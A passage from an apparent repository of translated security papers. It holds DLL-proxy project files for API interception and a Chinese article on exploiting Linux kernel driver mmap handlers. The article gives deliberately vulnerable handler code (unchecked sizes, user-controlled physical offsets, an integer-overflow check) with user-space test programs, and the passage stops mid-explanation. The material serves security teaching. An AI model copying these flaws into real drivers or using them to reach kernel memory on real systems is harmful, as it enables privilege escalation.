SendMessageTimeoutW 577 | 577 240 0001929A SendMessageW 578 | 578 241 00043948 SendNotifyMessageA 579 | 579 242 0001D64F SendNotifyMessageW 580 | 580 243 00017822 SetActiveWindow 581 | 581 244 0001C35E SetCapture 582 | 582 245 00021174 SetCaretBlinkTime 583 | 583 246 0001A962 SetCaretPos 584 | 584 247 0001FE71 SetClassLongA 585 | 585 248 0000E14B SetClassLongW 586 | 586 249 0005CE4A SetClassWord 587 | 587 24A 00020F9E SetClipboardData 588 | 588 24B 00020473 SetClipboardViewer 589 | 589 24C 0001865F SetConsoleReserveKeys 590 | 590 24D 00019930 SetCursor 591 | 591 24E 0005CE5E SetCursorContents 592 | 592 24F 000461B3 SetCursorPos 593 | 593 250 000462EB SetDebugErrorLevel 594 | 594 251 00045705 SetDeskWallpaper 595 | 595 252 0004BC09 SetDlgItemInt 596 | 596 253 0002C972 SetDlgItemTextA 597 | 597 254 0001736C SetDlgItemTextW 598 | 598 255 000461CE SetDoubleClickTime 599 | 599 256 0001B112 SetFocus 600 | 600 257 000142ED SetForegroundWindow 601 | 601 258 0005CE9A SetInternalWindowPos 602 | 602 259 000202B5 SetKeyboardState 603 | 603 25A 00056FB0 SetLastErrorEx 604 | 604 25B 0001CE12 SetLayeredWindowAttributes 605 | 605 25C 00011FEF SetLogonNotifyWindow 606 | 606 25D 0003F3F6 SetMenu 607 | 607 25E 0005CEC2 SetMenuContextHelpId 608 | 608 25F 0000F5B4 SetMenuDefaultItem 609 | 609 260 0005523C SetMenuInfo 610 | 610 261 0003FAB2 SetMenuItemBitmaps 611 | 611 262 0005AE5E SetMenuItemInfoA 612 | 612 263 00013281 SetMenuItemInfoW 613 | 613 264 000468C5 SetMessageExtraInfo 614 | 614 265 0002E1EB SetMessageQueue 615 | 615 266 0001C7F9 SetParent 616 | 616 267 000463FC SetProcessDefaultLayout 617 | 617 268 00017D40 SetProcessWindowStation 618 | 618 269 00046168 SetProgmanWindow 619 | 619 26A 00020000 SetPropA 620 | 620 26B 0001C0B9 SetPropW 621 | 621 26C 00018FA6 SetRect 622 | 622 26D 00019CBA SetRectEmpty 623 | 623 26E 00009056 SetScrollInfo 624 | 624 26F 0001F750 SetScrollPos 625 | 625 270 0001F99B SetScrollRange 626 | 626 271 00046114 SetShellWindow 627 | 627 272 0000FF92 SetShellWindowEx 628 | 628 273 00056582 SetSysColors 629 | 629 274 00056EBE SetSysColorsTemp 630 | 630 275 0005670B SetSystemCursor 631 | 631 276 0002F9E3 SetSystemMenu 632 | 632 277 0005CF3A SetSystemTimer 633 | 633 278 00010260 SetTaskmanWindow 634 | 634 279 00017D2C SetThreadDesktop 635 | 635 27A 00008C2E SetTimer 636 | 636 27B 0005CEEA SetUserObjectInformationA 637 | 637 27C 0005CEEA SetUserObjectInformationW 638 | 638 27D 000113B3 SetUserObjectSecurity 639 | 639 27E 000217F7 SetWinEventHook 640 | 640 27F 0002FDD9 SetWindowContextHelpId 641 | 641 280 0001C29D SetWindowLongA 642 | 642 281 0001C2BB SetWindowLongW 643 | 643 282 0000DE46 SetWindowPlacement 644 | 644 283 000199F3 SetWindowPos 645 | 645 284 0001E528 SetWindowRgn 646 | 646 285 0000F338 SetWindowStationUser 647 | 647 286 0001F56B SetWindowTextA 648 | 648 287 0001960E SetWindowTextW 649 | 649 288 000203DB SetWindowWord 650 | 650 289 0002ED69 SetWindowsHookA 651 | 651 28A 00021211 SetWindowsHookExA 652 | 652 28B 0001820F SetWindowsHookExW 653 | 653 28C 00011B8A SetWindowsHookW 654 | 654 28D 0001B09A ShowCaret 655 | 655 28E 0001FA6E ShowCursor 656 | 656 28F 000461E6 ShowOwnedPopups 657 | 657 290 0001F2F2 ShowScrollBar 658 | 658 291 00040101 ShowStartGlass 659 | 659 292 0001AF56 ShowWindow 660 | 660 293 0001337D ShowWindowAsync 661 | 661 294 0002A2DF SoftModalMessageBox 662 | 662 295 00010138 SubtractRect 663 | 663 296 00046201 SwapMouseButton 664 | 664 297 0000FE6E SwitchDesktop 665 | 665 298 0004581C SwitchToThisWindow 666 | 666 299 0001DEB2 SystemParametersInfoA 667 | 667 29A 00009F06 SystemParametersInfoW 668 | 668 29B 0004A5E5 TabbedTextOutA 669 | 669 29C 0004A5B6 TabbedTextOutW 670 | 670 29D 00046219 TileChildWindows 671 | 671 29E 00055215 TileWindows 672 | 672 29F 00045721 ToAscii 673 | 673 2A0 0004577E ToAsciiEx 674 | 674 2A1 000566A8 ToUnicode 675 | 675 2A2 000566D9 ToUnicodeEx 676 | 676 2A3 0001C80D TrackMouseEvent 677 | 677 2A4 0005531E TrackPopupMenu 678 | 678 2A5 0005CF62 TrackPopupMenuEx 679 | 679 2A6 0001FAC4 TranslateAccelerator 680 | 680 2A7 0001FAC4 TranslateAcceleratorA 681 | 681 2A8 0000941E TranslateAcceleratorW 682 | 682 2A9 0001FB2F TranslateMDISysAccel 683 | 683 2AA 00008BF6 TranslateMessage 684 | 684 2AB 00008A19 TranslateMessageEx 685 | 685 2AC 000218AC UnhookWinEvent 686 | 686 2AD 00011BA5 UnhookWindowsHook 687 | 687 2AE 0001D5F3 UnhookWindowsHookEx 688 | 688 2AF 0001A0F1 UnionRect 689 | 689 2B0 000462C0 UnloadKeyboardLayout 690 | 690 2B1 0000DCD9 UnlockWindowStation 691 | 691 2B2 0004B9C5 UnpackDDElParam 692 | 692 2B3 000189A3 UnregisterClassA 693 | 693 2B4 00009AA4 UnregisterClassW 694 | 694 2B5 0000E8D7 UnregisterDeviceNotification 695 | 695 2B6 0005CF8A UnregisterHotKey 696 | 696 2B7 0000FE08 UnregisterMessagePumpHook 697 | 697 2B8 0000EDFB UnregisterUserApiHook 698 | 698 2B9 0001ACF3 UpdateLayeredWindow 699 | 699 2BA 000119C8 UpdatePerUserSystemParameters 700 | 700 2BB 0001AEAB UpdateWindow 701 | 701 2BC 0002D395 User32InitializeImmEntryTable 702 | 702 2BD 0000B217 UserClientDllInitialize 703 | 703 2BE 0005CFDA UserHandleGrantAccess 704 | 704 2BF 0001BC25 UserLpkPSMTextOut 705 | 705 2C0 0004A3FB UserLpkTabbedTextOut 706 | 706 2C1 0001FA56 UserRealizePalette 707 | 707 2C2 00043748 UserRegisterWowHandlers 708 | 708 2C3 0005B427 VRipOutput 709 | 709 2C4 0005B427 VTagOutput 710 | 710 2C5 0001FBBD ValidateRect 711 | 711 2C6 0001F67E ValidateRgn 712 | 712 2C7 0002E4C0 VkKeyScanA 713 | 713 2C8 0005B18B VkKeyScanExA 714 | 714 2C9 0001F1BC VkKeyScanExW 715 | 715 2CA 0002E1F6 VkKeyScanW 716 | 716 2CB 0001D446 WCSToMBEx 717 | 717 2CC 0005B46B WINNLSEnableIME 718 | 718 2CD 0005B47C WINNLSGetEnableStatus 719 | 719 2CE 00023785 WINNLSGetIMEHotkey 720 | 720 2CF 0003FAF5 WaitForInputIdle 721 | 721 2D0 0000940C WaitMessage 722 | 722 2D1 0005D002 Win32PoolAllocationStats 723 | 723 2D2 0002EE5D WinHelpA 724 | 724 2D3 00051BD4 WinHelpW 725 | 725 2D4 0001FA3E WindowFromDC 726 | 726 2D5 00019766 WindowFromPoint 727 | 727 2D6 00056783 keybd_event 728 | 728 2D7 0005673F mouse_event 729 | 729 2D8 0000A8AD wsprintfA 730 | 730 2D9 0000A9B6 wsprintfW 731 | 731 2DA 0000A610 wvsprintfA 732 | 732 2DB 0000A9D1 wvsprintfW -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/user32.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {9B27A2FF-06BA-43D9-9D46-104EF3E052F4} 15 | Win32Proj 16 | user32 17 | 18 | 19 | 20 | DynamicLibrary 21 | true 22 | v120 23 | Unicode 24 | 25 | 26 | DynamicLibrary 27 | false 28 | v120 29 | true 30 | Unicode 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | true 44 | 45 | 46 | false 47 | 48 | 49 | 50 | Use 51 | Level3 52 | Disabled 53 | WIN32;_DEBUG;_WINDOWS;_USRDLL;USER32_EXPORTS;%(PreprocessorDefinitions) 54 | true 55 | 56 | 57 | Windows 58 | true 59 | user32.def 60 | 61 | 62 | 63 | 64 | Level3 65 | Use 66 | MaxSpeed 67 | true 68 | true 69 | WIN32;NDEBUG;_WINDOWS;_USRDLL;USER32_EXPORTS;%(PreprocessorDefinitions) 70 | true 71 | 72 | 73 | Windows 74 | true 75 | true 76 | true 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | false 89 | 90 | 91 | false 92 | 93 | 94 | 95 | 96 | Create 97 | Create 98 | 99 | 100 | 101 | 102 | 103 | 104 | -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/user32.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 头文件 23 | 24 | 25 | 头文件 26 | 27 | 28 | 29 | 30 | 源文件 31 | 32 | 33 | 源文件 34 | 35 | 36 | 源文件 37 | 38 | 39 | -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/user33.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/user33.dll -------------------------------------------------------------------------------- /Kernel Driver mmap Handler Exploitation/Kernel Driver mmap Handler Exploitation.md: -------------------------------------------------------------------------------- 1 | # 内核驱动mmap Handler利用技术 2 | 3 | ## 1. 内核驱动简介 4 | 5 | 在实现Linux内核驱动中,开发者可以注册一个设备驱动文件,该文件常常在/dev/目录下完成注册。该文件可以支持所有的常规文件方法,比如opening, reading, writing, mmaping, closing等等。设备驱动文件支持的操作由包含了一组函数指针的结构体`file_operations`描述,每个指针描述一个操作。在4.9版本内核中可以找到如下的定义。 6 | 7 | ```cpp 8 | struct file_operations { 9 | struct module *owner; 10 | loff_t(*llseek) (struct file *, loff_t, int); 11 | ssize_t(*read) (struct file *, char __user *, size_t, loff_t *); 12 | ssize_t(*write) (struct file *, const char __user *, size_t, loff_t *); 13 | ssize_t(*read_iter) (struct kiocb *, struct iov_iter *); 14 | ssize_t(*write_iter) (struct kiocb *, struct iov_iter *); 15 | int(*iterate) (struct file *, struct dir_context *); 16 | int(*iterate_shared) (struct file *, struct dir_context *); 17 | unsigned int(*poll) (struct file *, struct poll_table_struct *); 18 | long(*unlocked_ioctl) (struct file *, unsigned int, unsigned long); 19 | long(*compat_ioctl) (struct file *, unsigned int, unsigned long); 20 | int(*mmap) (struct file *, struct vm_area_struct *); 21 | int(*open) (struct inode *, struct file *); 22 | int(*flush) (struct file *, fl_owner_t id); 23 | int(*release) (struct inode *, struct file *); 24 | int(*fsync) (struct file *, loff_t, loff_t, int datasync); 25 | int(*fasync) (int, struct file *, int); 26 | int(*lock) (struct file *, int, struct file_lock *); 27 | ssize_t(*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int); 28 | unsigned long(*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); 29 | int(*check_flags)(int); int(*flock) (struct file *, int, struct file_lock *); 30 | ssize_t(*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int); 31 | ssize_t(*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); 32 | int(*setlease)(struct file *, long, struct file_lock **, void **); 33 | long(*fallocate)(struct file *file, int mode, loff_t offset,loff_t len); 34 | void(*show_fdinfo)(struct seq_file *m, struct file *f); 35 | #ifndef CONFIG_MMU 36 | unsigned(*mmap_capabilities)(struct file *); 37 | #endif 38 | ssize_t(*copy_file_range)(struct file *, loff_t, struct file *, loff_t, size_t, unsigned int); 39 | int(*clone_file_range)(struct file *, loff_t, struct file *, loff_t,u64); 40 | ssize_t(*dedupe_file_range)(struct file *, u64, u64, struct file *, u64); 41 | }; 42 | ``` 43 | 44 | 如同上面展示,可以实现非常多的文件操作,本文的主角是mmap handler的实现。 45 | 46 | `file_operations`结构体的安装示例以及相关联的函数可以在下面看到('/fs/proc/softirqs.c'): 47 | 48 | ```cpp 49 | static int show_softirqs(struct seq_file *p, void *v) 50 | { 51 | int i, j; 52 | 53 | seq_puts(p, " "); 54 | for_each_possible_cpu(i) 55 | seq_printf(p, "CPU%-8d", i); 56 | seq_putc(p, '\n'); 57 | 58 | for (i = 0; i < NR_SOFTIRQS; i++) 59 | { 60 | seq_printf(p, "%12s:", softirq_to_name[i]); 61 | for_each_possible_cpu(j) 62 | seq_printf(p, " %10u", kstat_softirqs_cpu(i, j)); 63 | seq_putc(p, '\n'); 64 | } 65 | return 0; 66 | } 67 | 68 | static int softirqs_open(struct inode *inode, struct file *file) 69 | { 70 | return single_open(file, show_softirqs, NULL); 71 | } 72 | 73 | static const struct file_operations proc_softirqs_operations = { 74 | .open = softirqs_open, 75 | .read = seq_read, 76 | .llseek = seq_lseek, 77 | .release = single_release, 78 | }; 79 | 80 | static int __init proc_softirqs_init(void) 81 | { 82 | proc_create("softirqs", 0, NULL, &proc_softirqs_operations); 83 | return 0; 84 | } 85 | ``` 86 | 87 | 上述代码可以在'proc_softirqs_operations'结构体中看到,它允许调用open, read, llseek和close函数。当一个应用程序试图去打开一个'softirqs'文件时就会调用'open'系统调用,进而会调用到指向的'softirqs_open'函数。 88 | 89 | ## 2. 内核mmap Handler 90 | 91 | ### 2.1 简单的mmap Handler 92 | 93 | 如上文提及,内核驱动可以实现自己的mmap handler。主要目的在于mmap handler可以加速用户空间进程和内核空间的数据交换。内核可以共享一块内核buffer或者直接共享某些物理内存地址范围给用户空间。用户空间进程可以直接修改这块内存而无需调用额外的系统调用。 94 | 95 | 一个简单(并且不安全)的mmap handler实现例子如下: 96 | 97 | ```cpp 98 | static struct file_operations fops = 99 | { 100 | .open = dev_open, 101 | .mmap = simple_mmap, 102 | .release = dev_release, 103 | }; 104 | 105 | int size = 0x10000; 106 | 107 | static int dev_open(struct inode *inodep, struct file *filep) 108 | { 109 | printk(KERN_INFO "MWR: Device has been opened\n"); 110 | filep->private_data = kzalloc(size, GFP_KERNEL); 111 | if (filep->private_data == NULL) 112 | return -1; 113 | return 0; 114 | } 115 | 116 | static int simple_mmap(struct file *filp, struct vm_area_struct *vma) 117 | { 118 | printk(KERN_INFO "MWR: Device mmap\n"); 119 | if ( remap_pfn_range( vma, vma->vm_start, virt_to_pfn(filp->private_data), vma->vm_end - vma->vm_start, vma->vm_page_prot ) ) 120 | { 121 | printk(KERN_INFO "MWR: Device mmap failed\n"); 122 | return -EAGAIN; 123 | } 124 | printk(KERN_INFO "MWR: Device mmap OK\n"); 125 | return 0; 126 | } 127 | ``` 128 | 129 | 当打开上面的驱动时,`dev_open`会被调用,它简单的分配0x10000字节的buffer并且将其保存在`private_data`指针域。此后如果进程在对该文件描述符调用mmap时,就会调用到`simple_mmap`。该函数简单的调用`remap_pfn_range`函数来创建一个进程地址空间的新映射,将`private_data`指向的buffer和`vma->vm_start`开始的尺寸为`vma->vm_end-vma->vm_start`大小的地址空间关联起来。 130 | 131 | 一个请求对应文件mmap的用户空间程序样例: 132 | 133 | ```cpp 134 | int main(int argc, char * const * argv) 135 | { 136 | int fd = open("/dev/MWR_DEVICE", O_RDWR); 137 | if (fd < 0) 138 | { 139 | printf("[-] Open failed!\n"); 140 | return -1; 141 | } 142 | 143 | unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000); 144 | if (addr == MAP_FAILED) 145 | { 146 | perror("Failed to mmap: "); 147 | close(fd); 148 | return -1; 149 | } 150 | printf("mmap OK addr: %lx\n", addr); 151 | close(fd); 152 | return 0; 153 | } 154 | ``` 155 | 156 | 上面的代码对`/dev/MWR_DEVICE`驱动文件调用了mmap,大小为0x1000,文件偏移设置为0x1000,目标地址设置为0x42424000。可以看到一个成功的映射结果: 157 | 158 | ```shell 159 | # cat /proc/23058/maps 160 | 42424000-42425000 rw-s 00001000 00:06 68639 /dev/MWR_DEVICE 161 | ``` 162 | 163 | ### 空的mmap Handler 164 | 165 | 到目前为止,我们已经见过了最简单的mmap操作的实现体,但是如果mmap handler是个空函数的话,会发生什么? 166 | 167 | 让我们考虑这个实现: 168 | 169 | ```cpp 170 | static struct file_operations fops = 171 | { 172 | .open = dev_open, 173 | .mmap = empty_mmap, 174 | .release = dev_release, 175 | }; 176 | 177 | static int empty_mmap(struct file *filp, struct vm_area_struct *vma) 178 | { 179 | printk(KERN_INFO "MWR: empty_mmap\n"); 180 | return 0; 181 | } 182 | ``` 183 | 184 | 如我们所见,函数中只有log信息,这是为了让我们观察到函数被调用了。当`empty_mmap`被调用时,我们毫不夸张的可以猜测到什么都不会发生,mmap会引发失败,毕竟此时并没有`remap_pfn_range`或其他类似的函数。然而,事实并非如此。让我们运行一下用户空间代码,看看究竟会发生什么: 185 | 186 | ```cpp 187 | int fd = open("/dev/MWR_DEVICE", O_RDWR); 188 | unsigned long size = 0x1000; 189 | unsigned long *addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000); 190 | ``` 191 | 192 | 在dmesg log中我们可以看到空的handler被成功调用: 193 | 194 | ```sh 195 | [ 1119.393560] MWR: Device has been opened 1 time(s) 196 | [ 1119.393574] MWR: empty_mmap 197 | ``` 198 | 199 | 看看内存映射,有没有什么异常: 200 | 201 | ```sh 202 | # cat /proc/2386/maps 203 | 42424000-42426000 rw-s 00001000 00:06 22305 204 | ``` 205 | 206 | 我们并没有调用`remap_pfn_range`函数,然而映射却如同此前情景那样被创建了。唯一的不同在于映射是无效的,因为我们实际上并没有映射任何的物理内存给这块虚拟地址。这样的一个mmap实现中,一旦访问了映射的地址空间,要么引起进程崩溃,要么引起整个内核的崩溃,这取决于具体使用的内核。 207 | 208 | 让我们试试访问这块内存: 209 | 210 | ```cpp 211 | int fd = open("/dev/MWR_DEVICE", O_RDWR); 212 | unsigned long size = 0x1000; 213 | unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000); printf("addr[0]: %x\n", addr[0]); 214 | ``` 215 | 216 | 如我们所愿,进程崩溃了: 217 | 218 | ```sh 219 | ./mwr_client 220 | Bus error 221 | ``` 222 | 223 | 然而在某些3.10 arm/arm64 Android内核中,类似的代码会引起kernel panic。 224 | 225 | 所以说,作为一个开发者,你不应该假定一个空的handler可以按预期表现,在内核中始终使用一个可用的返回码来控制给定的情形。 226 | 227 | ### 一个带有vm_operations_struct的mmap Handler 228 | 229 | 在mmap操作中,有办法在已分配内存区间上使用`vm_operations_struct`结构体来指派多种其他操作的handler(例如控制unmapped memory, page permission changes等)。 230 | 231 | `vm_operations_struct`在kernel 4.9中的定义如下: 232 | 233 | ```cpp 234 | struct vm_operations_struct { 235 | void(*open)(struct vm_area_struct * area); 236 | void(*close)(struct vm_area_struct * area); 237 | int(*mremap)(struct vm_area_struct * area); 238 | int(*fault)(struct vm_area_struct *vma, struct vm_fault *vmf); 239 | int(*pmd_fault)(struct vm_area_struct *, unsigned long address, pmd_t *, unsigned int flags); 240 | void(*map_pages)(struct fault_env *fe, pgoff_t start_pgoff, pgoff_t end_pgoff); 241 | int(*page_mkwrite)(struct vm_area_struct *vma, struct vm_fault *vmf); 242 | int(*pfn_mkwrite)(struct vm_area_struct *vma, struct vm_fault *vmf); 243 | int(*access)(struct vm_area_struct *vma, unsigned long addr, void *buf, int len, int write); 244 | const char *(*name)(struct vm_area_struct *vma); 245 | #ifdef CONFIG_NUMA 246 | int(*set_policy)(struct vm_area_struct *vma, struct mempolicy *new); 247 | struct mempolicy *(*get_policy)(struct vm_area_struct *vma, unsigned long addr); 248 | #endif 249 | struct page *(*find_special_page)(struct vm_area_struct *vma, unsigned long addr); 250 | }; 251 | ``` 252 | 253 | 如上文描述,这些函数指针可以用于实现特定的handler。关于此的详细描述在《Linux Device Drivers(Linux设备驱动)》一书中可以找到。 254 | 255 | 在实现内存分配器时,一个通俗可见的主流的行为是开发者实现了一个'fault' handler。例如,看看这一段: 256 | 257 | ```cpp 258 | static struct file_operations fops = { 259 | .open = dev_open, 260 | .mmap = simple_vma_ops_mmap, 261 | .release = dev_release, 262 | }; 263 | 264 | static struct vm_operations_struct simple_remap_vm_ops = { 265 | .open = simple_vma_open, 266 | .close = simple_vma_close, 267 | .fault = simple_vma_fault, 268 | }; 269 | 270 | static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma) 271 | { 272 | printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n"); 273 | vma->vm_private_data = filp->private_data; 274 | vma->vm_ops = &simple_remap_vm_ops; 275 | simple_vma_open(vma); 276 | printk(KERN_INFO "MWR: Device mmap OK\n"); 277 | return 0; 278 | } 279 | 280 | void simple_vma_open(struct vm_area_struct *vma) 281 | { 282 | printk(KERN_NOTICE "MWR: Simple VMA open, virt %lx, phys %lx\n", vma->vm_start, vma->vm_pgoff << PAGE_SHIFT); 283 | } 284 | 285 | void simple_vma_close(struct vm_area_struct *vma) 286 | { 287 | printk(KERN_NOTICE "MWR: Simple VMA close.\n"); 288 | } 289 | 290 | int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf) 291 | { 292 | struct page *page = NULL; 293 | unsigned long offset; 294 | printk(KERN_NOTICE "MWR: simple_vma_fault\n"); 295 | offset = (((unsigned long)vmf->virtual_address - vma->vm_start) + (vma->vm_pgoff << PAGE_SHIFT)); 296 | if (offset > PAGE_SIZE << 4) 297 | goto nopage_out; 298 | page = virt_to_page(vma->vm_private_data + offset); 299 | vmf->page = page; 300 | get_page(page); 301 | nopage_out: 302 | return 0; 303 | } 304 | ``` 305 | 306 | 上述代码中我们可以看到`simple_vma_ops_mmap`函数用于控制mmap调用。它什么都没做,除了指派了`simple_remap_vm_ops`结构体作为虚拟内存操作的handler。 307 | 308 | 让我们看看下列代码在该driver上运行的效果: 309 | 310 | ```cpp 311 | int fd = open("/dev/MWR_DEVICE", O_RDWR); 312 | unsigned long size = 0x1000; 313 | unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000); 314 | ``` 315 | 316 | dmesg的结果: 317 | 318 | ```sh 319 | [268819.067085] MWR: Device has been opened 2 time(s) 320 | [268819.067121] MWR: Device simple_vma_ops_mmap 321 | [268819.067123] MWR: Simple VMA open, virt 42424000, phys 1000 322 | [268819.067125] MWR: Device mmap OK 323 | ``` 324 | 325 | 进程地址空间的映射: 326 | 327 | ```sh 328 | 42424000-42425000 rw-s 00001000 00:06 140215 /dev/MWR_DEVICE 329 | ``` 330 | 331 | 如我们所见,`simple_vma_ops_mmap`函数被调用了,内存映射也创建了。例子中`simple_vma_fault`函数没有被调用。问题在于,我们有了个地址范围为0x42424000-0x42425000的地址空间却不清楚它指向何处。我们没有为它关联物理内存,因此当进程试图访问这段地址的任一部分时,`simple_vma_fault`都会执行。 332 | 333 | 所以让我们看看这段用户空间代码: 334 | 335 | ```cpp 336 | int fd = open("/dev/MWR_DEVICE", O_RDWR); 337 | unsigned long size = 0x2000; 338 | unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000); 339 | printf("addr[0]: %x\n", addr[0]); 340 | ``` 341 | 342 | 代码唯一的改变在于使用了printf函数来访问映射内存。因为内存区域无效所以我们的`simple_vma_fault`例程被调用了。dmesg的输出可以看到: 343 | 344 | ```sh 345 | [285305.468520] MWR: Device has been opened 3 time(s) 346 | [285305.468537] MWR: Device simple_vma_ops_mmap 347 | [285305.468538] MWR: Simple VMA open, virt 42424000, phys 1000 348 | [285305.468539] MWR: Device mmap OK 349 | [285305.468546] MWR: simple_vma_fault 350 | ``` 351 | 352 | 在`simple_vma_fault`函数中,我们可以观察到`offset`变量使用了指向一个没有被映射的地址的`vmf->virtual_address`进行了计算。我们这里就是`addr[0]`的地址。下一个page结构体由`virt_to_page`宏得到,该宏将新获取的page赋值给`vmf->page`变量。这一赋值意味着当fault handler返回时,`addr[0]`会指向由`simple_vma_fault`计算出来的某个物理地址。该内存可以被用户进程所访问而无需其他任何代码。如果程序试图访问`addr[513]`(假定sizeof(unsigned long)为8),fault handler会被再次调用,这是由于`addr[0]`和`addr[513]`在两个不同的内存页上,而此前仅有一个内存页被映射过。 353 | 354 | 这就是源码: 355 | 356 | ```cpp 357 | int fd = open("/dev/MWR_DEVICE", O_RDWR); 358 | unsigned long size = 0x2000; 359 | unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000); 360 | printf("addr[0]: %x\n", addr[0]); 361 | printf("addr[513]: %x\n", addr[513]); 362 | ``` 363 | 364 | 生成内核log: 365 | 366 | ```sh 367 | [286873.855849] MWR: Device has been opened 4 time(s) 368 | [286873.855976] MWR: Device simple_vma_ops_mmap 369 | [286873.855979] MWR: Simple VMA open, virt 42424000, phys 1000 370 | [286873.855980] MWR: Device mmap OK 371 | [286873.856046] MWR: simple_vma_fault 372 | [286873.856110] MWR: simple_vma_fault 373 | ``` 374 | 375 | ## 3. 经典mmap Handler议题 376 | 377 | ### 3.1 用户输入有效性的不足 378 | 379 | 让我们看看前面的mmap handler例子: 380 | 381 | ```cpp 382 | static int simple_mmap(struct file *filp, struct vm_area_struct *vma) 383 | { 384 | printk(KERN_INFO "MWR: Device mmap\n"); 385 | if ( remap_pfn_range( vma, vma->vm_start, virt_to_pfn(filp->private_data), vma->vm_end - vma->vm_start, vma->vm_page_prot ) ) 386 | { 387 | printk(KERN_INFO "MWR: Device mmap failed\n"); 388 | return -EAGAIN; 389 | } 390 | printk(KERN_INFO "MWR: Device mmap OK\n"); 391 | return 0; 392 | } 393 | ``` 394 | 395 | 前面展示的代码展示了一个通用的实现mmap handler的途径,相似的代码可以在《Linux设备驱动》一书中找到。示例代码主要的议论点在于`vma->vm_end`和`vma->vm_start`的值从未检查有效性。取而代之的,它们被直接传递给`remap_pfn_range`作为尺寸参数。这意味着一个恶意进程可以用一个不受限的尺寸来调用mmap。在我们这里,允许一个用户空间进程去mmap所有的在`filp->private_data`buffer之后的物理内存地址空间。这包括所有的内核内存。这意味着恶意进程能够从用户空间读写整个内核内存。 396 | 397 | 另一个流行的用法如下: 398 | 399 | ```cpp 400 | static int simple_mmap(struct file *filp, struct vm_area_struct *vma) 401 | { 402 | printk(KERN_INFO "MWR: Device mmap\n"); 403 | if ( remap_pfn_range( vma, vma->vm_start, vma->vm_pgoff, vma->vm_end - vma->vm_start, vma->vm_page_prot ) ) 404 | { 405 | printk(KERN_INFO "MWR: Device mmap failed\n"); 406 | return -EAGAIN; 407 | } 408 | printk(KERN_INFO "MWR: Device mmap OK\n"); 409 | return 0; 410 | } 411 | ``` 412 | 413 | 上面的代码中我们可以看到用户控制的offset `vma->vm_pgoff`被直接传递给了`remap_pfn_range`函数作为物理地址。这会使得恶意进程有能力传递一个任意物理地址给mmap,也就在用户空间拥有了整个内核内存的访问权限。在一些对示例进行微小改动的情景中经常可以看到,要么offset有了掩码,要么使用了另外一个值来计算。 414 | 415 | ### 3.2 整数溢出 416 | 417 | 经常可以看到开发者试图使用复杂的计算、按位掩码、位移、尺寸和偏移和等方法去验证映射的尺寸和偏移(size and offset)。不幸的是,这常常导致了创建的复杂性以及不寻常的计算和验证过程晦涩难懂。在对size和offset值进行少量fuzzing后,找到可以绕过有效性检查的值并非不可能。 418 | 419 | 让我们看看这段代码: 420 | 421 | ```cpp 422 | static int integer_overflow_mmap(struct file *filp, struct vm_area_struct *vma) 423 | { 424 | unsigned int vma_size = vma->vm_end - vma->vm_start; 425 | unsigned int offset = vma->vm_pgoff << PAGE_SHIFT; 426 | printk(KERN_INFO "MWR: Device integer_overflow_mmap( vma_size: %x, offset: %x)\n", vma_size, offset); 427 | if (vma_size + offset > 0x10000) 428 | { 429 | printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of memory\n"); 430 | return -EAGAIN; 431 | } 432 | if (remap_pfn_range(vma, vma->vm_start, virt_to_pfn(filp->private_data), vma_size, vma->vm_page_prot)) 433 | { 434 | printk(KERN_INFO "MWR: Device integer_overflow_mmap failed\n"); 435 | return -EAGAIN; 436 | } 437 | printk(KERN_INFO "MWR: Device integer_overflow_mmap OK\n"); 438 | return 0; 439 | } 440 | ``` 441 | 442 | 上面的代码展示了一个典型的整数溢出漏洞,它发生在一个进程调用mmap2系统调用时使用了size为0xfffa000以及offset为0xf0006的情况。0xfffa000和0xf0006000的和等于0x100000000。由于最大的unsigned 